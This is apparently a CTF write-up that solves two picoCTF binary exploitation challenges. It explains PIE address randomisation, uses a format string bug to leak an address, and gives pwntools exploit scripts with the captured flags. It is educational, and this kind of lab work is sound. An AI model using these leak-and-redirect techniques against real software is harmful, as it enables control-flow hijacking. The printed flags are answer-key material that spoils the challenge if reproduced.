PIE TIME

The challenge provides us the binary and the C code.

The code has a win function which prints the flag using fopen.

It also prints the address of main in the main function.

C Code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

PIE

You can see that the binary is a pie executable.

file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped

If you don’t pass the -no-pie option when compiling the elf file it will be a PIE executable.

By default PIE is enabled.

What is PIE and what does it do?

PIE (Position Independent Executable) basically changes the base address of the binary every time you run it.

Well, what’s the base address then?

The base address is the starting address of the binary when the binary is loaded into a process’s virtual address space.

You can run the binary with gdb and then pass info proc mapping or vmmap to check the binary base.

gef➤  vmmap
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /picoctf/pwn/pie_time/vuln
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /picoctf/pwn/pie_time/vuln
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /picoctf/pwn/pie_time/vuln
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /picoctf/pwn/pie_time/vuln
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /picoctf/pwn/pie_time/vuln
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7d9b000 0x00007ffff7d9e000 0x0000000000000000 rw- 
0x00007ffff7d9e000 0x00007ffff7dc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dc6000 0x00007ffff7f4e000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f4e000 0x00007ffff7f9d000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9d000 0x00007ffff7fa1000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa1000 0x00007ffff7fa3000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa3000 0x00007ffff7fb0000 0x0000000000000000 rw- 
0x00007ffff7fbd000 0x00007ffff7fbf000 0x0000000000000000 rw- 
0x00007ffff7fbf000 0x00007ffff7fc3000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc5000 0x00007ffff7fc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc6000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffdd000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

We saw from the C code above that it prints the main address.

I ran the binary 3 times in a row.

./vuln 
Address of main: 0x562371fc733d
Enter the address to jump to, ex => 0x12345: 
^C
./vuln 
Address of main: 0x557436e6933d
Enter the address to jump to, ex => 0x12345: ^C
./vuln 
Address of main: 0x561ad164f33d
Enter the address to jump to, ex => 0x12345: ^C

You can see that the address of the main function changes every time I run it.

However there are certain numbers in the memory address that don’t change.

The last 3 numbers, in our case 33d is not changing.

The last three nibbles (the last 12 bits) of the memory address don’t change because they represent the offset within a memory page, not the randomized base address.

The OS randomizes the address on a page-by-page basis.

The computer’s memory is organized into fixed-size blocks called pages.

These are typically 4 KB (4096 bytes) on most systems. The operating system’s memory management unit (MMU) works with these pages, not with individual bytes.

When the operating system’s Address Space Layout Randomization (ASLR) feature loads a PIE binary, it doesn’t choose a completely random 64-bit address.

Instead, it chooses a random page-aligned address for the program’s base. This means the base address will always be a multiple of the page size.

A page size of 4 KB is 0x1000 in hexadecimal.

Any address that is a multiple of 0x1000 will have its last three nibbles be 000. For example, 0x555555554000, 0x555555620000, and 0x7f451a231000 are all page-aligned.

Another important fact in PIE binaries is that although the base of the binary changes, the offsets to each function doesn’t.

gdb will tell us the offset to the function and not the memory address because the addresses of the functions change every time when running the binary.

On the other hand, the offsets to the function’s in the binary don’t.

Since the binary gives us the main function’s address we can subtract the main function’s offset to get the binary base.

gef➤  p main
$1 = {<text variable, no debug info>} 0x133d <main>
 ./vuln 
Address of main: 0x55b17ccb733d
Enter the address to jump to, ex => 0x12345: 

So in this case the binary base would be 0x55b17ccb733d - 0x133d = 0x55b17ccb6000.

Now you can see that base address has 000as the last 3 digits due to page-alignment in the OS.

Then we need to call the win function, gdb will also calculate the offset to the win function from the base address.

gef➤  p win
$1 = {<text variable, no debug info>} 0x12a7 <win>

You can add the offset from the base address to calculate the actual win address.

0x55b17ccb6000 + 0x12a7 = 0x55b17ccb72a7.

0x55b17ccb72a7 is the win address.

Entering the win function’s address will get you the flag, but since I didn’t make the flag.txt file locally I get an error.

 ./vuln 
Address of main: 0x55b17ccb733d
Enter the address to jump to, ex => 0x12345: 0x55b17ccb72a7
Your input: 55b17ccb72a7
You won!
Cannot open file.

You can also calculate the process above by hand, but it required a lot of typing.

Instead of typing address with my hands I wrote a pwntools script.

Exploit Code

from pwn import *

r = remote("rescued-float.picoctf.net", 59462)
e = ELF("./vuln")
r.recvuntil(b"Address of main: ")
main = int(r.recvline().strip().decode("utf-8"), 16)

print(hex(e.symbols["main"]))
base = main - e.symbols["main"]
print(hex(e.symbols["win"]))
win = base + e.symbols["win"]

r.sendline(hex(win).encode("utf-8"))
r.interactive()
# picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_cb52e722}

To be honest I don’t think this challenge is easy. lol

Further Reading

PIE TIME 2

file + checksec

file vuln
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364, for GNU/Linux 3.2.0, not stripped

All the security features are enabled.

checksec vuln
[*] '/home/picoctf/pwn/pie_time2/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

The vulnerability is a format string bug.

The code uses printf to print the contents of a character array directly, without using a format specifier like “%s”.

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);
  ...
}

The binary is almost identical to the binary for PIE TIME.

It first asks for your name, then for an address.

To get the flag we need to enter the address of the win function, but since there are no direct memory leaks, we must leverage the format string bug to grab an address from the stack.

./vuln 
Enter your name:hwkim301

enter the address to jump to, ex => 0x12345: 0x55555555536a
Segfault Occurred, incorrect address.

I can confirm that the 8th value printed my input ‘AAAAAAAAA’(0x4141414141414141).

./vuln 
Enter your name:AAAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAAAAAAA 0x5557b40352a1 0xfbad2288 0x7ffc4e8b3240 (nil) 0x410 0x7ffc4e8b3250 0x7f1e9c5ca415 0x4141414141414141 0x2070252070252041 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x70252070252070 (nil) 0xb6b770174d159300 0x7ffc4e8b32a0 enter the address to jump to, ex => 0x12345: Segfault Occurred, incorrect address.

Since the binary is compiled with PIE, we must work with function offsets rather than static addresses.

gef➤  p win
$1 = {<text variable, no debug info>} 0x136a <win>
gef➤  p main
$2 = {<text variable, no debug info>} 0x1400 <main>

The offset from the start of the main function (0x1400) to the start of the win function (0x136a) is -150 bytes (0x136a - 0x1400).

./vuln 
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
0x55aefbc5c2a1 0xfbad2288 0x7fff72052160 (nil) 0x410 0x7fff72052170 0x7f79eac98415 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x20702520702520 (nil) 0x187fb725601aee00 0x7fff720521c0 0x55aee0b43441 0x7fff72052260 0x7f79eac301ca  enter the address to jump to, ex => 0x12345: Segfault Occurred, incorrect address.

Previously we figured out from my last writeup that even if PIE is enabled, the last 3 numbers or nibbles of the memory address never changes due to page alignment.

If you look closely at the 19th %p it printed 0x55aee0b43441.

gef➤  disass main
Dump of assembler code for function main:
   0x0000000000001400 <+0>:     endbr64
   0x0000000000001404 <+4>:     push   rbp
   0x0000000000001405 <+5>:     mov    rbp,rsp
   0x0000000000001408 <+8>:     lea    rsi,[rip+0xfffffffffffffe9a]        # 0x12a9 <segfault_handler>
   0x000000000000140f <+15>:    mov    edi,0xb
   0x0000000000001414 <+20>:    call   0x1170 <signal@plt>
   0x0000000000001419 <+25>:    mov    rax,QWORD PTR [rip+0x2bf0]        # 0x4010 <stdout@@GLIBC_2.2.5>
   0x0000000000001420 <+32>:    mov    ecx,0x0
   0x0000000000001425 <+37>:    mov    edx,0x2
   0x000000000000142a <+42>:    mov    esi,0x0
   0x000000000000142f <+47>:    mov    rdi,rax
   0x0000000000001432 <+50>:    call   0x1180 <setvbuf@plt>
   0x0000000000001437 <+55>:    mov    eax,0x0
   0x000000000000143c <+60>:    call   0x12c7 <call_functions>
   0x0000000000001441 <+65>:    mov    eax,0x0
   0x0000000000001446 <+70>:    pop    rbp
   0x0000000000001447 <+71>:    ret
gef➤  disass win
Dump of assembler code for function win:
   0x000000000000136a <+0>:     endbr64
   0x000000000000136e <+4>:     push   rbp
   0x000000000000136f <+5>:     mov    rbp,rsp
   0x0000000000001372 <+8>:     sub    rsp,0x10
   0x0000000000001376 <+12>:    lea    rdi,[rip+0xcf6]        # 0x2073
   0x000000000000137d <+19>:    call   0x1110 <puts@plt>
   0x0000000000001382 <+24>:    lea    rsi,[rip+0xcf3]        # 0x207c
   0x0000000000001389 <+31>:    lea    rdi,[rip+0xcee]        # 0x207e
   0x0000000000001390 <+38>:    call   0x1190 <fopen@plt>
   0x0000000000001395 <+43>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000001399 <+47>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x000000000000139e <+52>:    jne    0x13b6 <win+76>
   0x00000000000013a0 <+54>:    lea    rdi,[rip+0xce0]        # 0x2087
   0x00000000000013a7 <+61>:    call   0x1110 <puts@plt>
   0x00000000000013ac <+66>:    mov    edi,0x0
   0x00000000000013b1 <+71>:    call   0x11b0 <exit@plt>
   0x00000000000013b6 <+76>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000013ba <+80>:    mov    rdi,rax
   0x00000000000013bd <+83>:    call   0x1150 <fgetc@plt>
   0x00000000000013c2 <+88>:    mov    BYTE PTR [rbp-0x9],al
   0x00000000000013c5 <+91>:    jmp    0x13e1 <win+119>
   0x00000000000013c7 <+93>:    movsx  eax,BYTE PTR [rbp-0x9]
   0x00000000000013cb <+97>:    mov    edi,eax
   0x00000000000013cd <+99>:    call   0x1100 <putchar@plt>
   0x00000000000013d2 <+104>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000013d6 <+108>:   mov    rdi,rax
   0x00000000000013d9 <+111>:   call   0x1150 <fgetc@plt>
   0x00000000000013de <+116>:   mov    BYTE PTR [rbp-0x9],al
   0x00000000000013e1 <+119>:   cmp    BYTE PTR [rbp-0x9],0xff
   0x00000000000013e5 <+123>:   jne    0x13c7 <win+93>
   0x00000000000013e7 <+125>:   mov    edi,0xa
   0x00000000000013ec <+130>:   call   0x1100 <putchar@plt>
   0x00000000000013f1 <+135>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000013f5 <+139>:   mov    rdi,rax
   0x00000000000013f8 <+142>:   call   0x1120 <fclose@plt>
   0x00000000000013fd <+147>:   nop
   0x00000000000013fe <+148>:   leave
   0x00000000000013ff <+149>:   ret
End of assembler dump.

It has the same last 3 numbers as 0x0000000000001441 <+65>: mov eax,0x0 in the main function.

The leaked address (0x…441) is the return address from call_functions, located at offset +65 within main.

The win function is at a static offset of 0x136a.

Therefore, the offset from our leaked address to the win function is 0x1441 - 0x136a = 215 bytes. We must subtract this from the leaked address to find win.

Instead of typing 19 %ps manually to find the address in the main function, you can use a format specifier %19$p.

%19$p allows you to directly select the 19th argument from the printf function.

Another important note is that since the offset from the binary base to the main function is 0x1400 and the offset to the win function is 0x136a you need to subtract the offset.

Exploit Code

from pwn import *

r = remote("rescued-float.picoctf.net", 52433)
r.sendlineafter(b"Enter your name:", b"%19$p")
leak = int(r.recvline().strip(), 16)
print(hex(leak))
win = leak - 215
r.sendlineafter(b"ex => 0x12345:", hex(win).encode("utf-8"))
r.interactive()

# picoCTF{p13_5h0u1dn'7_134k_2718fe04} pie_shouldn't_leak 

Some questions after getting the flag

Even though I solved the problem with looking at writeups and spending a couple hours, I still had 2 questions.

1. Why does the virtual address of ELF files compiled with PIE always start at 0x0000555555555400?

Someone on stack-overflow posted almost the same question I had.

After looking at the linux kernel source code, I guess I can understand a little bit of the reason.

2. Is there a way to find the offset faster instead of entering a bunch of %ps to get the offset?

I’ll answer this for the writeup of format string.

Reference Writeup

https://hackmd.io/@sal/HJtUdR5n1e